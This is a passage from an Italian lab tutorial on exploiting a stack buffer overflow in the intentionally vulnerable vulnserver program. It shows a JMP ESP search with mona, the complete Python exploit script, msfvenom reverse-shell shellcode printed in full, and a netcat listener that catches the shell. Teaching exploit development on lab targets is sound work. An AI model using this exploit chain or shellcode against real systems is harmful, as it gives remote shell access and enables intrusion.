Una volta lanciato, ciò che ci interessa sapere è quale sia l’opcode (il codice operativo) dell’istruzione che stiamo cercando: JMP ESP.

Quindi, dopo aver lanciato lo script digitiamo JMP ESP: l’opcode equivalente risulterà FFE4 .

nasm

Ma, all’interno della DLL senza protezioni “essfunc.dll”, dove si trova l’istruzione di jump (JMP)?

Per scoprirlo dobbiamo ricorrere ad un’altra funzione di “mona”:

!mona find -s “\xff\xe4” -m essfunc.dll

  • \xff\xe4 è il codice dell’istruzione di JMP che abbiamo trovato prima usando nasm
  • FFE4 in endian (scritto al contrario);
  • dll è il nome della nostra DLL

Il risultato del comando è un indirizzo di cui prenderemo nota: 625011af (immagine seguente).

essfunc.dll results

Torniamo al nostro script e modifichiamo ancora una volta come segue:

import sys,socket

#Inseriamo dopo l’offset nel registro EIP, l’indirizzo di JMP che abbiamo trovato, relativo alla DLL non protetta essfunc.dll

shellcode = “A” * 2003 + “\xaf\x11\x50\x62”

try:

s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((‘192.168.178.38’,9999))

s.send((‘TRUN /.:/’ + shellcode))

s.close()

except:

print “Impossibile Connettersi al server”

sys.exit()

L’indirizzo è scritto al contrario, a coppie di due (da destra verso sinistra), perché l’architettura x86 salva l’indirizzo in memoria nel formato little-endian.

Riapriamo il debugger ed assicuriamoci che le cose vadano come previsto. In alto, sulla barra, vi è una freccia blu scuro, clicchiamola ed inseriamo la locazione di memoria dove ci aspettiamo l’istruzione di JMP, 625011af. Selezioniamola e settiamo un “breakpoint” cliccando su F2. Tale operazione permetterà, alla prossima esecuzione del nostro script modificato, di mettere in pausa il programma una volta raggiunta quell’istruzione al dato indirizzo.

Breakpoint at essfunc

Possiamo ormai affermare che, all’interno dell’EIP, è stata inserita l’istruzione di JMP alla nostra dll.

PARTE X – Shellscript
[ Torna all’indice ]

Adesso che è tutto pronto, non rimane che creare il nostro shellcode. Torniamo sulla nostra macchina Kali e digitiamo:

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.178.42 LPORT=4444 EXITFUNC=thread -f c -b “\x00”

Analizziamo il comando:

  • p: specifica la tipologia di payload da utilizzare;
  • windows/shell_reverse_tcp o windows/shell_reverse_tcp : directory del payload per tipologia;
  • LHOST: IP della macchina attaccante su cui vogliamo il reverse shell;
  • LPORT: porta della macchina attaccante su cui desideravo che punti il reverse shell;
  • EXITFUNC: aiuta a non produrre crash dell’applicazione e permette il running mentre l’exploit gira indisturbato sulla macchina vittima;
  • f: formato dell’output “C” in questo caso;
  • b: i “bad characters” da non includere nel payload.
“\xd9\xc1\xd9\x74\x24\xf4\x5b\x29\xc9\xb8\xda\x88\x86\x10\xb1”

“\x52\x83\xc3\x04\x31\x43\x13\x03\x99\x9b\x64\xe5\xe1\x74\xea”

“\x06\x19\x85\x8b\x8f\xfc\xb4\x8b\xf4\x75\xe6\x3b\x7e\xdb\x0b”

“\xb7\xd2\xcf\x98\xb5\xfa\xe0\x29\x73\xdd\xcf\xaa\x28\x1d\x4e”

“\x29\x33\x72\xb0\x10\xfc\x87\xb1\x55\xe1\x6a\xe3\x0e\x6d\xd8”

“\x13\x3a\x3b\xe1\x98\x70\xad\x61\x7d\xc0\xcc\x40\xd0\x5a\x97”

“\x42\xd3\x8f\xa3\xca\xcb\xcc\x8e\x85\x60\x26\x64\x14\xa0\x76”

“\x85\xbb\x8d\xb6\x74\xc5\xca\x71\x67\xb0\x22\x82\x1a\xc3\xf1”

“\xf8\xc0\x46\xe1\x5b\x82\xf1\xcd\x5a\x47\x67\x86\x51\x2c\xe3”

“\xc0\x75\xb3\x20\x7b\x81\x38\xc7\xab\x03\x7a\xec\x6f\x4f\xd8”

“\x8d\x36\x35\x8f\xb2\x28\x96\x70\x17\x23\x3b\x64\x2a\x6e\x54”

“\x49\x07\x90\xa4\xc5\x10\xe3\x96\x4a\x8b\x6b\x9b\x03\x15\x6c”

“\xdc\x39\xe1\xe2\x23\xc2\x12\x2b\xe0\x96\x42\x43\xc1\x96\x08”

“\x93\xee\x42\x9e\xc3\x40\x3d\x5f\xb3\x20\xed\x37\xd9\xae\xd2”

“\x28\xe2\x64\x7b\xc2\x19\xef\x44\xbb\x93\xc5\x2c\xbe\xd3\x08”

“\xf1\x37\x35\x40\x19\x1e\xee\xfd\x80\x3b\x64\x9f\x4d\x96\x01”

“\x9f\xc6\x15\xf6\x6e\x2f\x53\xe4\x07\xdf\x2e\x56\x81\xe0\x84”

“\xfe\x4d\x72\x43\xfe\x18\x6f\xdc\xa9\x4d\x41\x15\x3f\x60\xf8”

“\x8f\x5d\x79\x9c\xe8\xe5\xa6\x5d\xf6\xe4\x2b\xd9\xdc\xf6\xf5”

“\xe2\x58\xa2\xa9\xb4\x36\x1c\x0c\x6f\xf9\xf6\xc6\xdc\x53\x9e”

“\x9f\x2e\x64\xd8\x9f\x7a\x12\x04\x11\xd3\x63\x3b\x9e\xb3\x63”

“\x44\xc2\x23\x8b\x9f\x46\x43\x6e\x35\xb3\xec\x37\xdc\x7e\x71”

“\xc8\x0b\xbc\x8c\x4b\xb9\x3d\x6b\x53\xc8\x38\x37\xd3\x21\x31”

“\x28\xb6\x45\xe6\x49\x93”;

Infine, non rimane che modificare il nostro script per l’ultima volta e vedere se funziona.

#!/usr/bin/python

import sys,socket

# il nostro shellcode, generato con msfvenom

overflow = (“\xd9\xc1\xd9\x74\x24\xf4\x5b\x29\xc9\xb8\xda\x88\x86\x10\xb1”

“\x52\x83\xc3\x04\x31\x43\x13\x03\x99\x9b\x64\xe5\xe1\x74\xea”

“\x06\x19\x85\x8b\x8f\xfc\xb4\x8b\xf4\x75\xe6\x3b\x7e\xdb\x0b”

“\xb7\xd2\xcf\x98\xb5\xfa\xe0\x29\x73\xdd\xcf\xaa\x28\x1d\x4e”

“\x29\x33\x72\xb0\x10\xfc\x87\xb1\x55\xe1\x6a\xe3\x0e\x6d\xd8”

“\x13\x3a\x3b\xe1\x98\x70\xad\x61\x7d\xc0\xcc\x40\xd0\x5a\x97”

“\x42\xd3\x8f\xa3\xca\xcb\xcc\x8e\x85\x60\x26\x64\x14\xa0\x76”

“\x85\xbb\x8d\xb6\x74\xc5\xca\x71\x67\xb0\x22\x82\x1a\xc3\xf1”

“\xf8\xc0\x46\xe1\x5b\x82\xf1\xcd\x5a\x47\x67\x86\x51\x2c\xe3”

“\xc0\x75\xb3\x20\x7b\x81\x38\xc7\xab\x03\x7a\xec\x6f\x4f\xd8”

“\x8d\x36\x35\x8f\xb2\x28\x96\x70\x17\x23\x3b\x64\x2a\x6e\x54”

“\x49\x07\x90\xa4\xc5\x10\xe3\x96\x4a\x8b\x6b\x9b\x03\x15\x6c”

“\xdc\x39\xe1\xe2\x23\xc2\x12\x2b\xe0\x96\x42\x43\xc1\x96\x08”

“\x93\xee\x42\x9e\xc3\x40\x3d\x5f\xb3\x20\xed\x37\xd9\xae\xd2”

“\x28\xe2\x64\x7b\xc2\x19\xef\x44\xbb\x93\xc5\x2c\xbe\xd3\x08”

“\xf1\x37\x35\x40\x19\x1e\xee\xfd\x80\x3b\x64\x9f\x4d\x96\x01”

“\x9f\xc6\x15\xf6\x6e\x2f\x53\xe4\x07\xdf\x2e\x56\x81\xe0\x84”

“\xfe\x4d\x72\x43\xfe\x18\x6f\xdc\xa9\x4d\x41\x15\x3f\x60\xf8”

“\x8f\x5d\x79\x9c\xe8\xe5\xa6\x5d\xf6\xe4\x2b\xd9\xdc\xf6\xf5”

“\xe2\x58\xa2\xa9\xb4\x36\x1c\x0c\x6f\xf9\xf6\xc6\xdc\x53\x9e”

“\x9f\x2e\x64\xd8\x9f\x7a\x12\x04\x11\xd3\x63\x3b\x9e\xb3\x63”

“\x44\xc2\x23\x8b\x9f\x46\x43\x6e\x35\xb3\xec\x37\xdc\x7e\x71”

“\xc8\x0b\xbc\x8c\x4b\xb9\x3d\x6b\x53\xc8\x38\x37\xd3\x21\x31”

“\x28\xb6\x45\xe6\x49\x93”);

#Istruzione di Injection dello shellcode

shellcode = “A” * 2003 + “\xaf\x11\x50\x62” + “\x90” * 32 + overflow

try:

s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((‘192.168.178.38’,9999))

s.send((‘TRUN /.:/’ + shellcode))

s.close()

except:

print “Impossibile Connettersi al server”

sys.exit()

Analizziamo più approfonditamente la riga dell’injection, che rappresenta l’atto finale dei nostri sforzi:

shellcode = “A” * 2003 + “\xaf\x11\x50\x62” + “\x90” * 32 + overflow

Saturiamo il buffer di lettere “A” (offset) sino al registro EIP. Una volta giunti al registro EIP saltiamo all’istruzione di JMP contenuta nella DLL non protetta. Diamo alcuni “NOP” (“\x90 *32” ), cioè istruzioni che hanno il solo scopo di fare “spazio”. Infine, aggiungiamo il nostro shellcode, la nostra reverse shell.

Riavviamo la macchina vittima a questo punto e lanciamo solamente il programma di vulnserver.

Dalla nostra macchina attaccante non ci resta che aprire un terminale e metterci in ascolto sulla porta 4444: nc -nvlp 4444

Rilanciamo lo script per l’ultima volta e così, avremo ottenuto la nostra shell sulla macchina Windows, utilizzando la tecnica di buffer overflow!

Buffer overflow